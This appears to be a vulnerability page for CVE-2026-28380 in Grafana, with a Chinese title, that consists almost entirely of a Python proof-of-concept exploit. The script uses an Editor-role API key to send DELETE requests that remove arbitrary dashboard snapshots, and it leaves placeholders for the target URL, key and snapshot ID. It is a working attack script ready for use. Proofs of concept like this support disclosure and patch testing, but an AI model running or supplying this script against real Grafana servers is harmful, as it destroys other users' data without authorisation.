CVE-2026-28380 Grafana 任意快照删除漏洞

import requests """ PoC for CVE-2026-28380: Grafana Arbitrary Snapshot Deletion Description: Demonstrates how an Editor role can delete any snapshot. """ def exploit(target_url, api_key, snapshot_key): """ Attempts to delete a snapshot using Editor privileges. Args: target_url (str): The base URL of the Grafana instance (e.g., http://localhost:3000) api_key (str): API Key with Editor role snapshot_key (str): The key/UID of the snapshot to delete """ headers = { "Authorization": f"Bearer {api_key}", "Content-Type": "application/json" } # Grafana API endpoint for deleting a snapshot url = f"{target_url}/api/snapshots/{snapshot_key}" print(f"[*] Attempting to delete snapshot: {snapshot_key}") try: response = requests.delete(url, headers=headers) if response.status_code == 200: print(f"[+] Success: Snapshot {snapshot_key} deleted successfully.") elif response.status_code == 401: print(f"[-] Failed: Unauthorized. Check API Key.") elif response.status_code == 403: print(f"[-] Failed: Forbidden. User might not have Editor role.") elif response.status_code == 404: print(f"[-] Failed: Snapshot not found.") else: print(f"[-] Unexpected Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Configuration TARGET = "http://your-grafana-instance.com:3000" EDITOR_API_KEY = "eyJrIjoi..." # Replace with a valid Editor API Key TARGET_SNAPSHOT_KEY = "TARGET_SNAPSHOT_UID" # Replace with the snapshot key to delete exploit(TARGET, EDITOR_API_KEY, TARGET_SNAPSHOT_KEY)